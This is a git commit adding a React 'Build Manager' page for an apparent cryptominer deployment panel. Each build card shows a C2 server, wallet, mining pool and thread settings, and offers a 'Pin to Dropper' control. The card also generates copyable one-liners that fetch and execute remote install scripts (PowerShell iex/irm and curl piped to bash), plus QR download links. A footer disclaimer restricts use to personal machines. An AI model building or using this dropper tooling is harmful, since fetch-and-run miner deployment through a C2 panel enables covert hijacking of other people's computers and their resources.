feat: Build Manager, Crucible ops deck, branding, and portable Cloudflare tunnel

Add Build Manager with pin-to-dropper, Crucible multi-node terminal with SSH probe/wake, Command Deck chart balance and pretty stats, AetherForge logo and sacred geometry UI, Field Guide refresh, and LAUNCH.bat Cloudflare MSI + token service install flow.
This commit is contained in:
AetherForge
2026-05-30 22:38:48 -07:00
parent e6b8d84edf
commit 9232f4c448
45 changed files with 4222 additions and 406 deletions

View File

@@ -0,0 +1,378 @@
import { useCallback, useEffect, useRef, useState } from 'react';
import { useNavigate } from 'react-router-dom';
import { api } from '../api/client';
import type { BuildRecord } from '../types';
import DownloadButton from '../components/DownloadButton';
import AuthDownloadButton from '../components/AuthDownloadButton';
import { LanDownloadQR } from '../components/Fleet/LanDownloadQR';
import NeonCard from '../components/NeonCard/NeonCard';
import './BuildManagerPage.css';
// ─── helpers ─────────────────────────────────────────────────────────────────
function truncateWallet(w: string): string {
if (!w || w.length < 12) return w || '—';
return `${w.slice(0, 6)}${w.slice(-6)}`;
}
function truncateUrl(u: string): string {
try {
const parsed = new URL(u);
return parsed.host;
} catch {
return u.length > 30 ? u.slice(0, 28) + '…' : u;
}
}
function fmtSize(bytes: number): string {
if (!bytes) return '—';
if (bytes >= 1024 * 1024) return `${(bytes / 1024 / 1024).toFixed(1)} MB`;
return `${(bytes / 1024).toFixed(0)} KB`;
}
function fmtDate(iso: string): string {
try {
const d = new Date(iso);
return d.toLocaleDateString(undefined, { month: 'short', day: 'numeric', year: 'numeric' }) +
' ' + d.toLocaleTimeString(undefined, { hour: '2-digit', minute: '2-digit' });
} catch {
return iso;
}
}
function platformLabel(p?: string): string {
if (!p) return 'Win';
const m: Record<string, string> = {
windows: 'Win', linux: 'Linux', darwin: 'macOS', universal: 'Universal',
};
return m[p.toLowerCase()] ?? p;
}
function platformColor(p?: string): string {
if (!p) return 'var(--neon-cyan)';
const m: Record<string, string> = {
windows: '#00e5ff', linux: '#a3e635', darwin: '#f0abfc', universal: '#ffd700',
};
return m[p.toLowerCase()] ?? '#aaa';
}
function CopyButton({ text, label }: { text: string; label: string }) {
const [copied, setCopied] = useState(false);
const copy = () => {
navigator.clipboard.writeText(text).then(() => {
setCopied(true);
setTimeout(() => setCopied(false), 1800);
});
};
return (
<button type="button" className="bm-copy-btn" onClick={copy} title={text}>
{copied ? '✓ Copied' : label}
</button>
);
}
function DeleteButton({ buildId, onDeleted }: { buildId: string; onDeleted: () => void }) {
const [confirming, setConfirming] = useState(false);
const [busy, setBusy] = useState(false);
const timerRef = useRef<ReturnType<typeof setTimeout> | null>(null);
const handleClick = () => {
if (!confirming) {
setConfirming(true);
timerRef.current = setTimeout(() => setConfirming(false), 3000);
} else {
if (timerRef.current) clearTimeout(timerRef.current);
setBusy(true);
api.deleteBuild(buildId).finally(() => {
setBusy(false);
setConfirming(false);
onDeleted();
});
}
};
return (
<button
type="button"
className={`bm-del-btn${confirming ? ' bm-del-btn-confirm' : ''}`}
disabled={busy}
onClick={handleClick}
title="Delete this build from server"
>
{busy ? '…' : confirming ? 'Confirm delete' : 'Delete'}
</button>
);
}
function PinButton({ buildId, pinned, onPinned }: { buildId: string; pinned: boolean; onPinned: () => void }) {
const [busy, setBusy] = useState(false);
const handleClick = async () => {
if (busy) return;
setBusy(true);
try {
if (pinned) {
await api.unpinAll();
} else {
await api.pinBuild(buildId);
}
onPinned();
} catch (e) {
console.error(e);
} finally {
setBusy(false);
}
};
return (
<button
type="button"
className={`bm-pin-btn${pinned ? ' bm-pin-btn-active' : ''}`}
disabled={busy}
onClick={handleClick}
title={pinned ? 'Unpin — dropper will serve latest build' : 'Pin — dropper will serve this build'}
>
{busy ? '…' : pinned ? '📌 Pinned to Dropper' : '📌 Pin to Dropper'}
</button>
);
}
// ─── per-build card ───────────────────────────────────────────────────────────
function BuildCard({
build,
serverBase,
onReforge,
onDeleted,
onPinned,
}: {
build: BuildRecord;
serverBase: string;
onReforge: (b: BuildRecord) => void;
onDeleted: () => void;
onPinned: () => void;
}) {
const downloadUrl = `${window.location.origin}${api.buildDownloadUrl(build.id)}`;
const exeName = build.file_name || build.file_path?.replace(/^.*[/\\]/, '') || `worker-${build.worker_name}`;
const isUniversal = build.platform?.toLowerCase() === 'universal';
const isFusion = !!build.file_name?.includes('runner') || (build.bundle_size && build.bundle_size > 0);
const ps1 = `iex (irm '${serverBase}/install.ps1')`;
const sh = `curl -sL ${serverBase}/install.sh | bash`;
return (
<NeonCard accent={build.pinned ? 'green' : 'brass'} className={`bm-card${build.pinned ? ' bm-card-pinned' : ''}`}>
{/* ── Pinned banner ── */}
{build.pinned && (
<div className="bm-pinned-banner">
📌 ACTIVE DROPPER <code>iex (irm '{serverBase}/install.ps1')</code> serves this build
</div>
)}
{/* ── Header row ── */}
<div className="bm-card-header">
<div className="bm-card-title">
<span className="bm-worker-name">{build.worker_name || '(unnamed)'}</span>
<span
className="bm-platform-badge"
style={{ color: platformColor(build.platform) }}
>
{platformLabel(build.platform)}
</span>
{isFusion && <span className="bm-tag bm-tag-fusion">FUSION</span>}
{isUniversal && !isFusion && <span className="bm-tag bm-tag-universal">UNIVERSAL</span>}
</div>
<span className="bm-date">{fmtDate(build.created_at)}</span>
</div>
{/* ── Baked settings summary ── */}
<div className="bm-settings-grid">
<div className="bm-setting">
<span className="bm-setting-label">C2</span>
<span className="bm-setting-value mono" title={build.server_url}>{truncateUrl(build.server_url)}</span>
</div>
<div className="bm-setting">
<span className="bm-setting-label">Wallet</span>
<span className="bm-setting-value mono" title={build.wallet}>{truncateWallet(build.wallet)}</span>
</div>
<div className="bm-setting">
<span className="bm-setting-label">Pool</span>
<span className="bm-setting-value mono">
{build.pool_host || '—'}:{build.pool_port || '—'}
{build.pool_tls && <span className="bm-tls-badge"> TLS</span>}
</span>
</div>
<div className="bm-setting">
<span className="bm-setting-label">Threads</span>
<span className="bm-setting-value">{build.threads || '—'}</span>
</div>
<div className="bm-setting">
<span className="bm-setting-label">Size</span>
<span className="bm-setting-value">{fmtSize(build.bundle_size || build.file_size)}</span>
</div>
<div className="bm-setting">
<span className="bm-setting-label">File</span>
<span className="bm-setting-value mono" title={exeName}>{exeName.length > 28 ? exeName.slice(0, 26) + '…' : exeName}</span>
</div>
</div>
{/* ── Download methods ── */}
<div className="bm-downloads">
<div className="bm-downloads-label font-tech">DOWNLOAD</div>
<div className="bm-downloads-row">
<DownloadButton
apiPath={api.buildDownloadUrl(build.id)}
filename={exeName}
className="btn btn-primary bm-dl-btn"
>
{isUniversal ? 'Universal ZIP' : exeName}
</DownloadButton>
<AuthDownloadButton
apiPath={api.buildUninstallUrl(build.id)}
filename={`uninstall-${build.worker_name || 'worker'}.ps1`}
className="btn btn-outline bm-dl-btn"
>
Uninstall script
</AuthDownloadButton>
</div>
</div>
{/* ── Dropper one-liners ── */}
<div className="bm-dropper">
<div className="bm-downloads-label font-tech">ONE-LINER DEPLOY (serves latest build)</div>
<div className="bm-dropper-row">
<span className="bm-dropper-os">Win</span>
<code className="bm-dropper-cmd">{ps1}</code>
<CopyButton text={ps1} label="Copy" />
</div>
<div className="bm-dropper-row">
<span className="bm-dropper-os">*nix</span>
<code className="bm-dropper-cmd">{sh}</code>
<CopyButton text={sh} label="Copy" />
</div>
<div className="bm-dropper-row">
<span className="bm-dropper-os">URL</span>
<code className="bm-dropper-cmd">{downloadUrl}</code>
<CopyButton text={downloadUrl} label="Copy" />
</div>
</div>
{/* ── QR + actions ── */}
<div className="bm-card-footer">
<div className="bm-qr-wrap">
<LanDownloadQR url={downloadUrl} />
<span className="bm-qr-label">Scan to download</span>
</div>
<div className="bm-action-btns">
<PinButton buildId={build.id} pinned={!!build.pinned} onPinned={onPinned} />
<button
type="button"
className="btn btn-secondary bm-reforge-btn"
onClick={() => onReforge(build)}
>
Re-forge
</button>
<DeleteButton buildId={build.id} onDeleted={onDeleted} />
</div>
</div>
</NeonCard>
);
}
// ─── page ─────────────────────────────────────────────────────────────────────
export default function BuildManagerPage() {
const [builds, setBuilds] = useState<BuildRecord[]>([]);
const [loading, setLoading] = useState(true);
const [error, setError] = useState('');
const [serverBase, setServerBase] = useState('');
const navigate = useNavigate();
const loadBuilds = useCallback(async () => {
try {
const [list, info] = await Promise.all([
api.listBuilds(),
api.getServerInfo().catch(() => null),
]);
setBuilds(list);
if (info) {
const pub = info.suggested_url?.replace(/\/$/, '') || window.location.origin;
setServerBase(pub);
} else {
setServerBase(window.location.origin);
}
setError('');
} catch (e) {
setError(e instanceof Error ? e.message : 'Failed to load builds');
} finally {
setLoading(false);
}
}, []);
useEffect(() => { loadBuilds(); }, [loadBuilds]);
const handleReforge = useCallback((build: BuildRecord) => {
// Pass build id as query param so Forge page can pre-fill from it
navigate(`/forge?reforge=${encodeURIComponent(build.id)}`);
}, [navigate]);
return (
<div className="page fade-in bm-page">
<div className="bm-header">
<div>
<h1 className="font-display bm-title">Build Manager</h1>
<p className="form-hint bm-subtitle">
All forged workers download, deploy, re-forge, or delete from any browser.
</p>
</div>
<div className="bm-header-actions">
<button type="button" className="btn btn-outline" onClick={loadBuilds} disabled={loading}>
{loading ? 'Loading…' : '↻ Refresh'}
</button>
<button type="button" className="btn btn-success" onClick={() => navigate('/forge')}>
New Forge
</button>
</div>
</div>
{error && (
<div className="form-error" style={{ marginBottom: '1rem' }}>
<span></span> {error}
</div>
)}
{!loading && builds.length === 0 && !error && (
<NeonCard accent="cyan" className="bm-empty">
<p className="font-tech" style={{ color: 'var(--neon-cyan)' }}>NO BUILDS YET</p>
<p className="form-hint">Head to Forge, fill in your config, and click FORGE INSTALLER.</p>
<button type="button" className="btn btn-primary" onClick={() => navigate('/forge')} style={{ marginTop: '0.75rem' }}>
Go to Forge
</button>
</NeonCard>
)}
{loading && (
<div className="bm-loading">
<span className="font-tech" style={{ color: 'var(--neon-cyan)', fontSize: '0.85rem' }}>LOADING BUILDS</span>
</div>
)}
<div className="bm-grid">
{builds.map((build) => (
<BuildCard
key={build.id}
build={build}
serverBase={serverBase}
onReforge={handleReforge}
onDeleted={loadBuilds}
onPinned={loadBuilds}
/>
))}
</div>
<footer style={{ marginTop: '3rem', paddingTop: '1rem', borderTop: '1px solid #333', textAlign: 'center', color: '#ff4444', fontSize: '0.85rem', fontFamily: 'monospace' }}>
DISCLAIMER: Use only on personal machines on your own network. Anything else is a crime.
</footer>
</div>
);
}